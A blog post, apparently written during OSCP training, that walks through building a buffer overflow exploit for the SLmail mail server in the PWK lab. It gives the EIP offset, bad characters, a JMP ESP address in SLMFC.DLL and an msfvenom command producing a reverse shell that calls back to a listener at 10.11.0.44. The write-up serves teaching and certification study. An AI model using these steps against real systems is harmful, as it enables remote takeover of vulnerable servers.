Whilst studying and working in the PWK labs in my quest to archieve the OSCP certification, one important part that I kept postponing because it looked so complex and difficult was the buffer overflow. Although the chapter on Buffer Overflow looks quite daunting, it is actually very logic and interesting. In this blog post, I will cover the steps to perform on creating an exploit for RCE for the SLmail application as covered in the PWK course.
What is a buffer overflow?
Before diving into the technicals, let's first grasp what a buffer overflow actually is.
Imagine a very simple program that asks you to input your username and then returns to whatever it was doing. Visually, this would look like this:
You notice that the space between the brackets is the space foreseen to input your username. That space is our buffer. After processing the username, the return address tells the program the next instructions it needs to execute.
Now what whould happen if we not only enter a username, but we add additional data to overflow this buffer space? And not only that, instead of typing a real name, we type in some shellcode (a series of computer instructions, by example giving us a remote shell), some dummy data and the address of that shellcode right on the same spot where our return address was.
Instead of returning to the intended instruction, the program will follow our overwritten shellcode address instead of the normal return address and execute our shellcode instead. That's a buffer overflow attack.
Tools & terminology
To identify a buffer overflow vulnerability and exploit it, you need a debugger which enables you to have a look under the hood of a program by reverse engineering it whilst it is running.
When attaching (File -> Attach) a running program (SLmail in our case) to Immunity Debugger, you get the following screen:
You will notice 4 screens:
CPU instruction - displays memory addresses and assembly instructions. Less really important for our basic buffer overflow attack.
Register - the register contains the contents of the different registers (e.g. EBX, ECX, EDX) and more importantly for our buffer overflow attack the Instruction Pointer (EIP) and the Stack Pointer (ESP). The Stack Pointer (ESP) is where we will put our payload (shellcode), the Instruction Pointer (EIP) is where we put the address of the ESP (containing our shellcode), hence telling the program to execute our shellcode instead of doing what it would normally do.
The Stack - shows the content of the current stack pointer (ESP)
The Memory Dump - showing the hex & ASCII content of the memory location you select.
Identifying a buffer overflow vulnerability
Our first step is to identify the buffer overflow vulnerability. To do so, we start the SLmail program and attach it in Immunity Debugger and unpause it.
Next, we run the following fuzzing script, which will enter an increasing number of A's in the password field of the application.
We noticed the application crashed when our fuzzing script entered a password of 2700 bytes. And even more importantly, we noticed that we have overwritten our instruction pointer (EIP) as it currently contains 41414141, which is the hex code for AAAA. This means we can control the execution flow of the application as the EIP contains the next instruction for the program.
Building a buffer overflow exploit
Our next step is to know which of the 2700 A's we have sent are the 4 A's overwriting the EIP. This is called the offset and can be archieved by sending a unique string of 2700 characters (bytes). In Immunity Debugger, we use the module Mona by the Corelan team to do this for us by running the command in the Immunity Debugger command line.
!mona pc 2700
Mona will generate a unique string of 2700 bytes in the file file pattern.txt in your Mona directory.
Next, we adapt our fuzzer to add the unique string instead of 2700 A's.
After running our updated fuzzer again, we see that the value of our instruction pointer (EIP) is Dj0D.
We can now check with Mona where this value occurs in our unique string to identify after how much bytes the EIP is overwritten. Mona found this pattern at position 2610, which means that the EIP is overwritten after an input of 2606 bytes. (2610 minus 4 bytes from Dj0D = 2606.
We now know our application crashes at 2700 bytes and our instruction pointer (EIP) is overwritten after 2606 bytes. This leaves us 94 bytes to put our shellcode. As typical shellcode is 300 to 400 bytes long, we need more space. Let's check if we can increase the placeholder by adding more dummy data, by example 3500 bytes in total.
We adapted our script to first sent 2606 dummy data (A's), then 4 B's which will overwrite our instruction pointer (EIP) and then 890 C's as a placeholder for our payload which should be sufficient for our shellcode. Note that we are lazy and don't actually need to calculate the 890, you can just deduct the previous numbers.
Nice, this works very well. In the Memory Dump screen (left bottom), we clearly see that the A's are filling the buffer till we overwrite the instruction pointer (EIP) with 4 B's and then we overwritten the stack pointer (ESP) with C's as a placeholder for our shellcode.
Instead of C's we would like to put shellcode in the stack pointer (ESP), which will gives us a reverse shell. Before we can do that, we need to identify possible bad characters which may break our shellcode. Bad characters are not universal and depend on how the program is built. A common bad character is by example a null byte (\00) which will make the application ignore the rest of the shellcode. After identifying the bad characters, we can exclude these when generating our shellcode.
To identify the bad characters, we will generate a byte array containing all possible characters and see if and where the exploit breaks and repeat this till the exploit works flawlessly with all remaining bytes.
Mona can assist us in generating a byte array. Use the following command to generate a byte array excluding the null byte (\x00) already, as this is almost guaranteed to be a bad character.
!mona bytearray -b '\x00'
This will generate two files in your mona directory, bytearray.txt and bytearray.bin. We first use bytearray.txt to adapt the exploit with our generated bytearray.
After running our script we notice that as expected we have cleanly overwritten the ESP with 'BBBB' as expected, followed by the bad characters. Note down the ESP address 0177A128, as this address contains our byte array.
Now we can compare our generated byte array (bytearray.bin) with the ESP which should need contain the same byte array if no bad characters are breaking our exploit.
To compare both byte arrays, use the following command:
!mona compare -f bytearray.bin -a 0177A128
After two iterations, we identify the bad characters \x00, \x0a and \x0d.
As the ESP address often changes when running the program and we would like to build a consistent exploit, we can not hardcode the ESP address. Luckily, in most programs there are bytes called JMP ESP or CALL ESP which will redirect to the ESP. If we overwrite the instruction pointer (EIP) which such address, execution will first go there and then to our payload.
We need to find a module without protections such as ASLR or DEP enabled, which his often the case.
To identify a module without defenses as ASL or DEP, run:
After running !Mona modules we found two modules (SLMFC.DLL and SLmail.exe) without DEP or ASLR enabled. However, only SLMFC.DLL can be used as SLmail.exe address contains 0x00, which was identified as a bad character earlier.
Now we know that the SLMFC.DLL module is suitable to find a JMP ESP. Before we can do so, we need to know the hex code for a JMP ESP. Luckily this is hex code stays the same so we only need to do this once. Kali has a great tool to identify hex codes called nasm_shell. We learn that the hex code for JMP ESP is \FF\E4.
Now we have identified the hex code for JMP ESP, we can find JMP ESP addresses within the identified module SLMFC.DLL using the following command:
!mona find -s "\xff\xe4" -m slmfc.dll
We found 19 different JMP ESP pointers in the SLMFC.DLL, we select the first one with address 0x5f4a358f.
When we go to the address 0x5f4a358f, we can verify this is indeed a JMP ESP address.
Now we will adapt our exploit to overwrite the EIP with our JMP ESP address.
When testing the exploit, we indeed verify the EIP is overwritten with our JMP ESP address 0x5F4A358F.
If we now replace the C's with shellcode, we will get a reversed shell.
We generate our shellcode with the following command, keeping in mind that we need to exclude the earlier identified bad characters. Notice the payload size is 351 bytes.
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.44 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
Now we can adapt our exploit script with our generated shellcode:
Note that we added a number of NOP slides (no operation instruction - "\x90") before the payload to make sure the exploit has enough space to work instead of overwriting the beginning of the shellcode. After the payload, we add some C's again but we deduct the bytes used for A's, the JMP ESP, the NOP's and the shellcode.
After running our exploit, we have a shell!
Credits to Offensive Security for building awesome penetration testing courses and labs.